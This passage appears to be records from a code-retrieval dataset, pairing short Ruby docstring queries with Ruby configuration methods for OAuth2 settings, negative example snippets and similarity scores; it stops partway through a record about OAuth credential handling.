[ "0.6776017", "0.67156637", "0.6666386", "0.65906", "0.6553178", "0.6535744", "0.6500205", "0.6481247", "0.6400686", "0.6392289", "0.63877463", "0.63585144", "0.635615", "0.6352345", "0.63348955", "0.62562805", "0.6241107", "0.62261367", "0.6224062", "0.6186569", "0.61814225", "0.6162966", "0.61587477", "0.6155839", "0.60882646", "0.6080564", "0.60802966", "0.6079071", "0.6066749", "0.6064619", "0.605563", "0.60544056", "0.60384756", "0.60314554", "0.6004309", "0.6002319", "0.6002015", "0.5981769", "0.5968333", "0.5930015", "0.59241253", "0.591643", "0.590892", "0.5905691", "0.5899787", "0.58690476", "0.58658457", "0.5863762", "0.5855887", "0.58457744", "0.5837675", "0.5831855", "0.5799264", "0.57955754", "0.57567525", "0.57471776", "0.5737413", "0.5733984", "0.5732376", "0.5730968", "0.5717155", "0.57062566", "0.5680014", "0.5673036", "0.56712765", "0.56589335", "0.56582606", "0.56506675", "0.5616087", "0.56110597", "0.5602457", "0.55806905", "0.55804133", "0.5577789", "0.5567829", "0.5546674", "0.55419666", "0.55384153", "0.5519881", "0.5494913", "0.5493842", "0.54917073", "0.5485267", "0.5484657", "0.54825646", "0.54740334", "0.5473025", "0.5469559", "0.546519", "0.5462557", "0.5453748", "0.5449085", "0.5442563", "0.54422194", "0.54302955", "0.5429996", "0.54274255", "0.5422265", "0.5419063", "0.5414733" ]
0.56693774
65
Default: '' Accepts: String
def oauth2_client_id(value = nil) rw_config(:oauth2_client_id, value, '') end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def default\n ''\n end", "def defaults_str\n \"\"\n end", "def string?; end", "def default! default_string\n strip.empty? ? clear << default_string.to_s : self\n end", "def default(text)\n text.to_s\n end", "def noop\n \"\"\n end", "def string=(_arg0); end", "def parameter_string\n \"\"\n end", "def string; end", "def string; end", "def string; end", "def string; end", "def string; end", "def string; end", "def string; end", "def string; end", "def string; end", "def string\n end", "def string\n end", "def string\n end", "def default_value\n # generally, elements contain string (except containers)\n ''\n end", "def input_string; end", "def default_name(default=\"Jane Doe\")\n default\nend", "def type\n ''\n end", "def string=(arg0)\n end", "def string(*) end", "def initialize\n @type = \" \"\n end", "def missing_default_forged_as_empty_string?(default)\n type != :string && ! null && default == ''\n end", "def string= string\n #This is a stub, used for indexing\n end", "def str; end", "def str; end", "def string()\n #This is a stub, used for indexing\n end", "def string() end", "def name\n ''\n end", "def name_with_initial; end", "def name_or_none\n name || \"\"\n end", "def string(name, default='', format='%s')\n add(name, default, format) { |v,a| a }\n end", "def sb(s)\r\n (s == '(none)' || s == '') ? '' : s\r\n end", "def get_string_value\n\t\tend", "def string\n @string\n end", "def string\n @string\n end", "def string(value, default_value=nil)\n s = value.to_s\n if s.empty?\n default_value\n else\n s\n end\n end", "def initialize(string = 'default')\n self.field = string\n end", "def interpret(value)\n value == \"\" ? nil : value\n end", "def attribute(value, default_value=nil)\n str = value.to_s\n not(str.empty?) ? str : default_value\n end", "def query_string\n \"\"\n end", "def quoted_string; end", "def excl\n \"\"\n end", "def name\n name = \"\"\n end", "def name\n name = \"\"\n end", "def string_message(str = \"\")\n if str.empty?\n \"It's an empty string!\"\n else\n # explicit return option\n return \"The string is nonempty.\"\n end\n end", "def query_string\n ''\n end", "def set_default( df_str )\n if StringOption.default_ok?( df_str, @domain )\n @df_str = df_str\n else\n @df_str = nil\n raise \"invalid default string value: #{ df_str.to_s }\"\n end \n end", "def default_content; end", "def str(str); end", "def str(str); end", "def text=(_arg0); end", "def initialize( string = '' )\n self.query = string.to_s\n end", "def String(p0) end", "def string(str); end", "def print_name(name = 'Severus Snape')\n p name\nend", "def strings; end", "def parameter_string\n\t\tend", "def append_default( )\n if @question =~ /([\\t ]+)\\Z/\n @question << \"|#{@default}|#{$1}\"\n elsif @question == \"\"\n @question << \"|#{@default}| \"\n elsif @question[-1, 1] == \"\\n\"\n @question[-2, 0] = \" |#{@default}|\"\n else\n @question << \" |#{@default}|\"\n end\n end", "def default; end", "def default; end", "def name= string\n super(string ? string.downcase : string)\n end", "def default_value(value); value; end", "def initialize(string = \"hello\")\n\t\t@string = string\n\tend", "def string(value = '')\n return '' unless present?(value)\n\n send(value)\n rescue NoMethodError\n ''\n end", "def default_name\n [long_name, short_name].reject(&:empty?).first\n end", "def value_field\n \"string\"\n end", "def assign_name(string = \"Bob\")\n return string\nend", "def str_prefix\n\t\t\t\t\"\"\n\t\t\tend", "def initialize (str=\"UNGAH\")\n\t\t@grunt = str\n\tend", "def to_ruby_arg\n \"#{to_s_name}#{@default ? ' = ' + @default : ''}\"\n end", "def greet(greeting=\"Hello\")\n\tgreeting\nend", "def greet(greeting=\"Hello\")\n\tgreeting\nend", "def default _args\n \"default _args;\" \n end", "def text(*)\n super\n end", "def to_s\n nil? ? '' : super\n end", "def initialize(string=\"\", mode=0) end", "def string_value(value)\r\n value\r\n end", "def initialize\n @text = \"\"\n end", "def default=(_); end", "def answer_or_default( answer_string )\n if answer_string.length == 0 and not @default.nil?\n @default\n else\n answer_string\n end\n end", "def empty!\n self.replace(\"\")\n end", "def __(value=\"THE __ TEXT (you fill it in)\", value19=:mu)\n if RUBY_VERSION < \"1.9\"\n value\n else\n (value19 == :mu) ? value : value19\n end\nend", "def func3(name=\"default name\",age=18)\n puts (\"name is \"+name)\n puts (\"age is \"+age.to_s)\n puts \"\"\nend", "def initialize\n @name = ''\n end", "def name str = nil\n return @name if str.nil?\n @name = str\n end", "def default_input_html; {} end", "def generate_value\n \"\"\n end", "def default\n end", "def expected_type\n 'string'\n end", "def str1; end", "def str1; end", "def initialize string\n\t\t@string = string.strip\n\tend", "def none(input)\n if input == 'none'\n ''\n else\n input\n end\n end", "def setDefaultStrings #:doc:\n # get either devfiles or devices\n if @queryparams[:what_to_get] =~ /files/i\n @render = :getfiles\n @keywords1 = @@devfile_keywords1\n @keywords2 = @@devfile_keywords2\n @keywords3 = @@devfile_keywords3\n @sort_by = @@devfile_sort_by\n @condition_rules = @@devfile_condition_rules\n @select_part1 = @@devfile_select_part1\n @select_part2 = @@devfile_select_part2\n @default_id_conditions = @@devfile_default_id_conditions\n @default_sorting = @@devfile_sorting\n elsif @queryparams[:what_to_get] =~ /devices/i\n @render = :getdevices\n @keywords1 = @@device_keywords1\n @keywords2 = @@device_keywords2\n @keywords3 = @@device_keywords3\n @sort_by = @@device_sort_by\n @condition_rules = @@device_condition_rules\n @select_part1 = @@device_select_part1\n @select_part2 = @@device_select_part2\n @default_id_conditions = @@device_default_id_conditions\n @default_sorting = @@device_sorting\n end\n end", "def restrict_default_value\n self.content = nil if self.content.eql?('Edit this text to see the text area expand and contract.')\n end" ]
[ "0.7730112", "0.7556992", "0.71862733", "0.7124071", "0.7041491", "0.6846404", "0.6806525", "0.6796679", "0.67491853", "0.67491853", "0.67491853", "0.67491853", "0.67491853", "0.67491853", "0.67491853", "0.67491853", "0.67491853", "0.6687844", "0.6687844", "0.6687844", "0.66607726", "0.6657337", "0.66529125", "0.6638936", "0.6636043", "0.6612141", "0.6514696", "0.65058136", "0.6476097", "0.6459657", "0.6459657", "0.6447798", "0.6347452", "0.6332694", "0.6296786", "0.6287643", "0.6267616", "0.6265427", "0.6224933", "0.6179442", "0.6179442", "0.61538386", "0.6153288", "0.6115761", "0.6097611", "0.6086574", "0.60838294", "0.60787815", "0.6071463", "0.6071463", "0.6042514", "0.6036626", "0.6022656", "0.6016304", "0.6006905", "0.6006905", "0.60064715", "0.6005577", "0.6004959", "0.60039234", "0.600077", "0.59994215", "0.5996733", "0.59867644", "0.5977351", "0.5977351", "0.5966146", "0.5964887", "0.5958213", "0.5925368", "0.59226173", "0.59205663", "0.5905468", "0.59025955", "0.5893064", "0.58857965", "0.5875602", "0.5875602", "0.5871216", "0.5865478", "0.5864712", "0.58627343", "0.5857562", "0.5857242", "0.5850893", "0.5848417", "0.5843051", "0.58415335", "0.5838095", "0.5837977", "0.5837668", "0.5836334", "0.5823895", "0.58181375", "0.5811142", "0.5804564", "0.5804564", "0.5803438", "0.5803024", "0.57986474", "0.5793384" ]
0.0
-1
Default: '' Accepts: String
def oauth2_client_secret(value = nil) rw_config(:oauth2_client_secret, value, '') end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def default\n ''\n end", "def defaults_str\n \"\"\n end", "def string?; end", "def default! default_string\n strip.empty? ? clear << default_string.to_s : self\n end", "def default(text)\n text.to_s\n end", "def noop\n \"\"\n end", "def string=(_arg0); end", "def parameter_string\n \"\"\n end", "def string; end", "def string; end", "def string; end", "def string; end", "def string; end", "def string; end", "def string; end", "def string; end", "def string; end", "def string\n end", "def string\n end", "def string\n end", "def input_string; end", "def default_value\n # generally, elements contain string (except containers)\n ''\n end", "def default_name(default=\"Jane Doe\")\n default\nend", "def type\n ''\n end", "def string=(arg0)\n end", "def string(*) end", "def initialize\n @type = \" \"\n end", "def missing_default_forged_as_empty_string?(default)\n type != :string && ! null && default == ''\n end", "def string= string\n #This is a stub, used for indexing\n end", "def str; end", "def str; end", "def string()\n #This is a stub, used for indexing\n end", "def string() end", "def name\n ''\n end", "def name_with_initial; end", "def name_or_none\n name || \"\"\n end", "def string(name, default='', format='%s')\n add(name, default, format) { |v,a| a }\n end", "def sb(s)\r\n (s == '(none)' || s == '') ? '' : s\r\n end", "def get_string_value\n\t\tend", "def string\n @string\n end", "def string\n @string\n end", "def initialize(string = 'default')\n self.field = string\n end", "def string(value, default_value=nil)\n s = value.to_s\n if s.empty?\n default_value\n else\n s\n end\n end", "def interpret(value)\n value == \"\" ? nil : value\n end", "def attribute(value, default_value=nil)\n str = value.to_s\n not(str.empty?) ? str : default_value\n end", "def query_string\n \"\"\n end", "def quoted_string; end", "def excl\n \"\"\n end", "def name\n name = \"\"\n end", "def name\n name = \"\"\n end", "def string_message(str = \"\")\n if str.empty?\n \"It's an empty string!\"\n else\n # explicit return option\n return \"The string is nonempty.\"\n end\n end", "def query_string\n ''\n end", "def set_default( df_str )\n if StringOption.default_ok?( df_str, @domain )\n @df_str = df_str\n else\n @df_str = nil\n raise \"invalid default string value: #{ df_str.to_s }\"\n end \n end", "def default_content; end", "def str(str); end", "def str(str); end", "def text=(_arg0); end", "def initialize( string = '' )\n self.query = string.to_s\n end", "def string(str); end", "def String(p0) end", "def strings; end", "def parameter_string\n\t\tend", "def print_name(name = 'Severus Snape')\n p name\nend", "def append_default( )\n if @question =~ /([\\t ]+)\\Z/\n @question << \"|#{@default}|#{$1}\"\n elsif @question == \"\"\n @question << \"|#{@default}| \"\n elsif @question[-1, 1] == \"\\n\"\n @question[-2, 0] = \" |#{@default}|\"\n else\n @question << \" |#{@default}|\"\n end\n end", "def default; end", "def default; end", "def name= string\n super(string ? string.downcase : string)\n end", "def default_value(value); value; end", "def initialize(string = \"hello\")\n\t\t@string = string\n\tend", "def string(value = '')\n return '' unless present?(value)\n\n send(value)\n rescue NoMethodError\n ''\n end", "def value_field\n \"string\"\n end", "def default_name\n [long_name, short_name].reject(&:empty?).first\n end", "def assign_name(string = \"Bob\")\n return string\nend", "def str_prefix\n\t\t\t\t\"\"\n\t\t\tend", "def initialize (str=\"UNGAH\")\n\t\t@grunt = str\n\tend", "def to_ruby_arg\n \"#{to_s_name}#{@default ? ' = ' + @default : ''}\"\n end", "def greet(greeting=\"Hello\")\n\tgreeting\nend", "def greet(greeting=\"Hello\")\n\tgreeting\nend", "def default _args\n \"default _args;\" \n end", "def text(*)\n super\n end", "def to_s\n nil? ? '' : super\n end", "def initialize(string=\"\", mode=0) end", "def string_value(value)\r\n value\r\n end", "def initialize\n @text = \"\"\n end", "def default=(_); end", "def answer_or_default( answer_string )\n if answer_string.length == 0 and not @default.nil?\n @default\n else\n answer_string\n end\n end", "def __(value=\"THE __ TEXT (you fill it in)\", value19=:mu)\n if RUBY_VERSION < \"1.9\"\n value\n else\n (value19 == :mu) ? value : value19\n end\nend", "def empty!\n self.replace(\"\")\n end", "def func3(name=\"default name\",age=18)\n puts (\"name is \"+name)\n puts (\"age is \"+age.to_s)\n puts \"\"\nend", "def default_input_html; {} end", "def name str = nil\n return @name if str.nil?\n @name = str\n end", "def initialize\n @name = ''\n end", "def generate_value\n \"\"\n end", "def default\n end", "def expected_type\n 'string'\n end", "def str1; end", "def str1; end", "def initialize string\n\t\t@string = string.strip\n\tend", "def none(input)\n if input == 'none'\n ''\n else\n input\n end\n end", "def setDefaultStrings #:doc:\n # get either devfiles or devices\n if @queryparams[:what_to_get] =~ /files/i\n @render = :getfiles\n @keywords1 = @@devfile_keywords1\n @keywords2 = @@devfile_keywords2\n @keywords3 = @@devfile_keywords3\n @sort_by = @@devfile_sort_by\n @condition_rules = @@devfile_condition_rules\n @select_part1 = @@devfile_select_part1\n @select_part2 = @@devfile_select_part2\n @default_id_conditions = @@devfile_default_id_conditions\n @default_sorting = @@devfile_sorting\n elsif @queryparams[:what_to_get] =~ /devices/i\n @render = :getdevices\n @keywords1 = @@device_keywords1\n @keywords2 = @@device_keywords2\n @keywords3 = @@device_keywords3\n @sort_by = @@device_sort_by\n @condition_rules = @@device_condition_rules\n @select_part1 = @@device_select_part1\n @select_part2 = @@device_select_part2\n @default_id_conditions = @@device_default_id_conditions\n @default_sorting = @@device_sorting\n end\n end", "def restrict_default_value\n self.content = nil if self.content.eql?('Edit this text to see the text area expand and contract.')\n end" ]
[ "0.7725261", "0.75531167", "0.7187803", "0.7120455", "0.70379823", "0.6843944", "0.6807163", "0.6795757", "0.674976", "0.674976", "0.674976", "0.674976", "0.674976", "0.674976", "0.674976", "0.674976", "0.674976", "0.6688927", "0.6688927", "0.6688927", "0.6659798", "0.6657928", "0.66504973", "0.6639444", "0.66357553", "0.6613002", "0.6513482", "0.65038997", "0.6475837", "0.6459829", "0.6459829", "0.6448409", "0.6347696", "0.63296485", "0.62948084", "0.6285537", "0.6264835", "0.6263785", "0.622567", "0.6179524", "0.6179524", "0.6152133", "0.6149976", "0.61165434", "0.6095185", "0.60862917", "0.6084465", "0.6076053", "0.6068581", "0.6068581", "0.6040275", "0.6036423", "0.60195273", "0.6014391", "0.6008255", "0.6008255", "0.6007212", "0.60061395", "0.6005643", "0.6005394", "0.60011244", "0.5998844", "0.59987056", "0.5983644", "0.5976087", "0.5976087", "0.596587", "0.59634274", "0.5957698", "0.5923261", "0.5921557", "0.5919649", "0.59042275", "0.5900048", "0.58924764", "0.5885258", "0.5874805", "0.5874805", "0.58701473", "0.58660555", "0.58631593", "0.5862941", "0.58588314", "0.58549535", "0.5849478", "0.5846702", "0.58427143", "0.5839764", "0.58370084", "0.5836583", "0.5835932", "0.5835326", "0.58212996", "0.58159804", "0.5814839", "0.5803989", "0.5803989", "0.58022845", "0.58008444", "0.579746", "0.57918984" ]
0.0
-1
Default: '' Accepts: String
def oauth2_site(value = nil) rw_config(:oauth2_site, value, '') end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def default\n ''\n end", "def defaults_str\n \"\"\n end", "def string?; end", "def default! default_string\n strip.empty? ? clear << default_string.to_s : self\n end", "def default(text)\n text.to_s\n end", "def noop\n \"\"\n end", "def string=(_arg0); end", "def parameter_string\n \"\"\n end", "def string; end", "def string; end", "def string; end", "def string; end", "def string; end", "def string; end", "def string; end", "def string; end", "def string; end", "def string\n end", "def string\n end", "def string\n end", "def input_string; end", "def default_value\n # generally, elements contain string (except containers)\n ''\n end", "def default_name(default=\"Jane Doe\")\n default\nend", "def type\n ''\n end", "def string=(arg0)\n end", "def string(*) end", "def initialize\n @type = \" \"\n end", "def missing_default_forged_as_empty_string?(default)\n type != :string && ! null && default == ''\n end", "def string= string\n #This is a stub, used for indexing\n end", "def str; end", "def str; end", "def string()\n #This is a stub, used for indexing\n end", "def string() end", "def name\n ''\n end", "def name_with_initial; end", "def name_or_none\n name || \"\"\n end", "def string(name, default='', format='%s')\n add(name, default, format) { |v,a| a }\n end", "def sb(s)\r\n (s == '(none)' || s == '') ? '' : s\r\n end", "def get_string_value\n\t\tend", "def string\n @string\n end", "def string\n @string\n end", "def initialize(string = 'default')\n self.field = string\n end", "def string(value, default_value=nil)\n s = value.to_s\n if s.empty?\n default_value\n else\n s\n end\n end", "def interpret(value)\n value == \"\" ? nil : value\n end", "def attribute(value, default_value=nil)\n str = value.to_s\n not(str.empty?) ? str : default_value\n end", "def query_string\n \"\"\n end", "def quoted_string; end", "def excl\n \"\"\n end", "def name\n name = \"\"\n end", "def name\n name = \"\"\n end", "def string_message(str = \"\")\n if str.empty?\n \"It's an empty string!\"\n else\n # explicit return option\n return \"The string is nonempty.\"\n end\n end", "def query_string\n ''\n end", "def set_default( df_str )\n if StringOption.default_ok?( df_str, @domain )\n @df_str = df_str\n else\n @df_str = nil\n raise \"invalid default string value: #{ df_str.to_s }\"\n end \n end", "def default_content; end", "def str(str); end", "def str(str); end", "def text=(_arg0); end", "def initialize( string = '' )\n self.query = string.to_s\n end", "def string(str); end", "def String(p0) end", "def strings; end", "def parameter_string\n\t\tend", "def print_name(name = 'Severus Snape')\n p name\nend", "def append_default( )\n if @question =~ /([\\t ]+)\\Z/\n @question << \"|#{@default}|#{$1}\"\n elsif @question == \"\"\n @question << \"|#{@default}| \"\n elsif @question[-1, 1] == \"\\n\"\n @question[-2, 0] = \" |#{@default}|\"\n else\n @question << \" |#{@default}|\"\n end\n end", "def default; end", "def default; end", "def name= string\n super(string ? string.downcase : string)\n end", "def default_value(value); value; end", "def initialize(string = \"hello\")\n\t\t@string = string\n\tend", "def string(value = '')\n return '' unless present?(value)\n\n send(value)\n rescue NoMethodError\n ''\n end", "def value_field\n \"string\"\n end", "def default_name\n [long_name, short_name].reject(&:empty?).first\n end", "def assign_name(string = \"Bob\")\n return string\nend", "def str_prefix\n\t\t\t\t\"\"\n\t\t\tend", "def initialize (str=\"UNGAH\")\n\t\t@grunt = str\n\tend", "def to_ruby_arg\n \"#{to_s_name}#{@default ? ' = ' + @default : ''}\"\n end", "def greet(greeting=\"Hello\")\n\tgreeting\nend", "def greet(greeting=\"Hello\")\n\tgreeting\nend", "def default _args\n \"default _args;\" \n end", "def text(*)\n super\n end", "def to_s\n nil? ? '' : super\n end", "def initialize(string=\"\", mode=0) end", "def string_value(value)\r\n value\r\n end", "def initialize\n @text = \"\"\n end", "def default=(_); end", "def answer_or_default( answer_string )\n if answer_string.length == 0 and not @default.nil?\n @default\n else\n answer_string\n end\n end", "def __(value=\"THE __ TEXT (you fill it in)\", value19=:mu)\n if RUBY_VERSION < \"1.9\"\n value\n else\n (value19 == :mu) ? value : value19\n end\nend", "def empty!\n self.replace(\"\")\n end", "def func3(name=\"default name\",age=18)\n puts (\"name is \"+name)\n puts (\"age is \"+age.to_s)\n puts \"\"\nend", "def default_input_html; {} end", "def name str = nil\n return @name if str.nil?\n @name = str\n end", "def initialize\n @name = ''\n end", "def generate_value\n \"\"\n end", "def default\n end", "def expected_type\n 'string'\n end", "def str1; end", "def str1; end", "def initialize string\n\t\t@string = string.strip\n\tend", "def none(input)\n if input == 'none'\n ''\n else\n input\n end\n end", "def setDefaultStrings #:doc:\n # get either devfiles or devices\n if @queryparams[:what_to_get] =~ /files/i\n @render = :getfiles\n @keywords1 = @@devfile_keywords1\n @keywords2 = @@devfile_keywords2\n @keywords3 = @@devfile_keywords3\n @sort_by = @@devfile_sort_by\n @condition_rules = @@devfile_condition_rules\n @select_part1 = @@devfile_select_part1\n @select_part2 = @@devfile_select_part2\n @default_id_conditions = @@devfile_default_id_conditions\n @default_sorting = @@devfile_sorting\n elsif @queryparams[:what_to_get] =~ /devices/i\n @render = :getdevices\n @keywords1 = @@device_keywords1\n @keywords2 = @@device_keywords2\n @keywords3 = @@device_keywords3\n @sort_by = @@device_sort_by\n @condition_rules = @@device_condition_rules\n @select_part1 = @@device_select_part1\n @select_part2 = @@device_select_part2\n @default_id_conditions = @@device_default_id_conditions\n @default_sorting = @@device_sorting\n end\n end", "def restrict_default_value\n self.content = nil if self.content.eql?('Edit this text to see the text area expand and contract.')\n end" ]
[ "0.7725261", "0.75531167", "0.7187803", "0.7120455", "0.70379823", "0.6843944", "0.6807163", "0.6795757", "0.674976", "0.674976", "0.674976", "0.674976", "0.674976", "0.674976", "0.674976", "0.674976", "0.674976", "0.6688927", "0.6688927", "0.6688927", "0.6659798", "0.6657928", "0.66504973", "0.6639444", "0.66357553", "0.6613002", "0.6513482", "0.65038997", "0.6475837", "0.6459829", "0.6459829", "0.6448409", "0.6347696", "0.63296485", "0.62948084", "0.6285537", "0.6264835", "0.6263785", "0.622567", "0.6179524", "0.6179524", "0.6152133", "0.6149976", "0.61165434", "0.6095185", "0.60862917", "0.6084465", "0.6076053", "0.6068581", "0.6068581", "0.6040275", "0.6036423", "0.60195273", "0.6014391", "0.6008255", "0.6008255", "0.6007212", "0.60061395", "0.6005643", "0.6005394", "0.60011244", "0.5998844", "0.59987056", "0.5983644", "0.5976087", "0.5976087", "0.596587", "0.59634274", "0.5957698", "0.5923261", "0.5921557", "0.5919649", "0.59042275", "0.5900048", "0.58924764", "0.5885258", "0.5874805", "0.5874805", "0.58701473", "0.58660555", "0.58631593", "0.5862941", "0.58588314", "0.58549535", "0.5849478", "0.5846702", "0.58427143", "0.5839764", "0.58370084", "0.5836583", "0.5835932", "0.5835326", "0.58212996", "0.58159804", "0.5814839", "0.5803989", "0.5803989", "0.58022845", "0.58008444", "0.579746", "0.57918984" ]
0.0
-1
Default: '' Accepts: String
def oauth2_scope(value = nil) rw_config(:oauth2_scope, value, '') end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def default\n ''\n end", "def defaults_str\n \"\"\n end", "def string?; end", "def default! default_string\n strip.empty? ? clear << default_string.to_s : self\n end", "def default(text)\n text.to_s\n end", "def noop\n \"\"\n end", "def string=(_arg0); end", "def parameter_string\n \"\"\n end", "def string; end", "def string; end", "def string; end", "def string; end", "def string; end", "def string; end", "def string; end", "def string; end", "def string; end", "def string\n end", "def string\n end", "def string\n end", "def input_string; end", "def default_value\n # generally, elements contain string (except containers)\n ''\n end", "def default_name(default=\"Jane Doe\")\n default\nend", "def type\n ''\n end", "def string=(arg0)\n end", "def string(*) end", "def initialize\n @type = \" \"\n end", "def missing_default_forged_as_empty_string?(default)\n type != :string && ! null && default == ''\n end", "def string= string\n #This is a stub, used for indexing\n end", "def str; end", "def str; end", "def string()\n #This is a stub, used for indexing\n end", "def string() end", "def name\n ''\n end", "def name_with_initial; end", "def name_or_none\n name || \"\"\n end", "def string(name, default='', format='%s')\n add(name, default, format) { |v,a| a }\n end", "def sb(s)\r\n (s == '(none)' || s == '') ? '' : s\r\n end", "def get_string_value\n\t\tend", "def string\n @string\n end", "def string\n @string\n end", "def initialize(string = 'default')\n self.field = string\n end", "def string(value, default_value=nil)\n s = value.to_s\n if s.empty?\n default_value\n else\n s\n end\n end", "def interpret(value)\n value == \"\" ? nil : value\n end", "def attribute(value, default_value=nil)\n str = value.to_s\n not(str.empty?) ? str : default_value\n end", "def query_string\n \"\"\n end", "def quoted_string; end", "def excl\n \"\"\n end", "def name\n name = \"\"\n end", "def name\n name = \"\"\n end", "def string_message(str = \"\")\n if str.empty?\n \"It's an empty string!\"\n else\n # explicit return option\n return \"The string is nonempty.\"\n end\n end", "def query_string\n ''\n end", "def set_default( df_str )\n if StringOption.default_ok?( df_str, @domain )\n @df_str = df_str\n else\n @df_str = nil\n raise \"invalid default string value: #{ df_str.to_s }\"\n end \n end", "def default_content; end", "def str(str); end", "def str(str); end", "def text=(_arg0); end", "def initialize( string = '' )\n self.query = string.to_s\n end", "def string(str); end", "def String(p0) end", "def strings; end", "def parameter_string\n\t\tend", "def print_name(name = 'Severus Snape')\n p name\nend", "def append_default( )\n if @question =~ /([\\t ]+)\\Z/\n @question << \"|#{@default}|#{$1}\"\n elsif @question == \"\"\n @question << \"|#{@default}| \"\n elsif @question[-1, 1] == \"\\n\"\n @question[-2, 0] = \" |#{@default}|\"\n else\n @question << \" |#{@default}|\"\n end\n end", "def default; end", "def default; end", "def name= string\n super(string ? string.downcase : string)\n end", "def default_value(value); value; end", "def initialize(string = \"hello\")\n\t\t@string = string\n\tend", "def string(value = '')\n return '' unless present?(value)\n\n send(value)\n rescue NoMethodError\n ''\n end", "def value_field\n \"string\"\n end", "def default_name\n [long_name, short_name].reject(&:empty?).first\n end", "def assign_name(string = \"Bob\")\n return string\nend", "def str_prefix\n\t\t\t\t\"\"\n\t\t\tend", "def initialize (str=\"UNGAH\")\n\t\t@grunt = str\n\tend", "def to_ruby_arg\n \"#{to_s_name}#{@default ? ' = ' + @default : ''}\"\n end", "def greet(greeting=\"Hello\")\n\tgreeting\nend", "def greet(greeting=\"Hello\")\n\tgreeting\nend", "def default _args\n \"default _args;\" \n end", "def text(*)\n super\n end", "def to_s\n nil? ? '' : super\n end", "def initialize(string=\"\", mode=0) end", "def string_value(value)\r\n value\r\n end", "def initialize\n @text = \"\"\n end", "def default=(_); end", "def answer_or_default( answer_string )\n if answer_string.length == 0 and not @default.nil?\n @default\n else\n answer_string\n end\n end", "def __(value=\"THE __ TEXT (you fill it in)\", value19=:mu)\n if RUBY_VERSION < \"1.9\"\n value\n else\n (value19 == :mu) ? value : value19\n end\nend", "def empty!\n self.replace(\"\")\n end", "def func3(name=\"default name\",age=18)\n puts (\"name is \"+name)\n puts (\"age is \"+age.to_s)\n puts \"\"\nend", "def default_input_html; {} end", "def name str = nil\n return @name if str.nil?\n @name = str\n end", "def initialize\n @name = ''\n end", "def generate_value\n \"\"\n end", "def default\n end", "def expected_type\n 'string'\n end", "def str1; end", "def str1; end", "def initialize string\n\t\t@string = string.strip\n\tend", "def none(input)\n if input == 'none'\n ''\n else\n input\n end\n end", "def setDefaultStrings #:doc:\n # get either devfiles or devices\n if @queryparams[:what_to_get] =~ /files/i\n @render = :getfiles\n @keywords1 = @@devfile_keywords1\n @keywords2 = @@devfile_keywords2\n @keywords3 = @@devfile_keywords3\n @sort_by = @@devfile_sort_by\n @condition_rules = @@devfile_condition_rules\n @select_part1 = @@devfile_select_part1\n @select_part2 = @@devfile_select_part2\n @default_id_conditions = @@devfile_default_id_conditions\n @default_sorting = @@devfile_sorting\n elsif @queryparams[:what_to_get] =~ /devices/i\n @render = :getdevices\n @keywords1 = @@device_keywords1\n @keywords2 = @@device_keywords2\n @keywords3 = @@device_keywords3\n @sort_by = @@device_sort_by\n @condition_rules = @@device_condition_rules\n @select_part1 = @@device_select_part1\n @select_part2 = @@device_select_part2\n @default_id_conditions = @@device_default_id_conditions\n @default_sorting = @@device_sorting\n end\n end", "def restrict_default_value\n self.content = nil if self.content.eql?('Edit this text to see the text area expand and contract.')\n end" ]
[ "0.7725261", "0.75531167", "0.7187803", "0.7120455", "0.70379823", "0.6843944", "0.6807163", "0.6795757", "0.674976", "0.674976", "0.674976", "0.674976", "0.674976", "0.674976", "0.674976", "0.674976", "0.674976", "0.6688927", "0.6688927", "0.6688927", "0.6659798", "0.6657928", "0.66504973", "0.6639444", "0.66357553", "0.6613002", "0.6513482", "0.65038997", "0.6475837", "0.6459829", "0.6459829", "0.6448409", "0.6347696", "0.63296485", "0.62948084", "0.6285537", "0.6264835", "0.6263785", "0.622567", "0.6179524", "0.6179524", "0.6152133", "0.6149976", "0.61165434", "0.6095185", "0.60862917", "0.6084465", "0.6076053", "0.6068581", "0.6068581", "0.6040275", "0.6036423", "0.60195273", "0.6014391", "0.6008255", "0.6008255", "0.6007212", "0.60061395", "0.6005643", "0.6005394", "0.60011244", "0.5998844", "0.59987056", "0.5983644", "0.5976087", "0.5976087", "0.596587", "0.59634274", "0.5957698", "0.5923261", "0.5921557", "0.5919649", "0.59042275", "0.5900048", "0.58924764", "0.5885258", "0.5874805", "0.5874805", "0.58701473", "0.58660555", "0.58631593", "0.5862941", "0.58588314", "0.58549535", "0.5849478", "0.5846702", "0.58427143", "0.5839764", "0.58370084", "0.5836583", "0.5835932", "0.5835326", "0.58212996", "0.58159804", "0.5814839", "0.5803989", "0.5803989", "0.58022845", "0.58008444", "0.579746", "0.57918984" ]
0.0
-1
Hooks into credentials so that you can pass a user who has already has an oauth2 access token.
def credentials=(value) super values = value.is_a?(Array) ? value : [value] hash = values.first.is_a?(Hash) ? values.first.with_indifferent_access : nil self.record = hash[:priority_record] if !hash.nil? && hash.key?(:priority_record) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def authenticate_with_oauth2(oauth2_id, oauth2_token)\n \n # find user and update access token \n returning(self.find_for_oauth2(oauth2_id)) do |user|\n user.update_attributes(:oauth2_token => oauth2_token) unless user.nil?\n end\n\n end", "def set_credentials\n @user = User.find(current_user.id)\n end", "def oauth_authentication; end", "def exchange_oauth_tokens\n end", "def update_oauth_user_credentials(oauth_data)\r\n oauth_access_token = oauth_data.credentials.token\r\n raise Totem::Authentication::Session::MissingSessionUserAccessToken, \"Blank oauth access token in oauth data. #{oauth_data.inspect}\" if oauth_access_token.blank?\r\n self.oauth_access_token = oauth_data.credentials.token\r\n if self.respond_to?(:populate_user_oauth_extra_info)\r\n extra_values = oauth_data.extra.user_info || {}\r\n self.populate_user_oauth_extra_info(extra_values)\r\n end\r\n end", "def token_auth(*args, &block); end", "def sign_in_and_update(user)\n OmniAuth.config.mock_auth[:google_oauth2] = OmniAuth::AuthHash.new({\n :provider => 'google_oauth2',\n :uid => user.uid,\n :email => user.email\n })\n sign_in user\n user.update_last_access_at!\n end", "def credentials(username,password='')\n if username.is_a?(OAuth::AccessToken)\n @credentials = username\n else\n @credentials = {:username => username, :password => password}\n end\n end", "def credentials=(auth)\n if auth.is_a?(OAuth::AccessToken)\n @credentials = 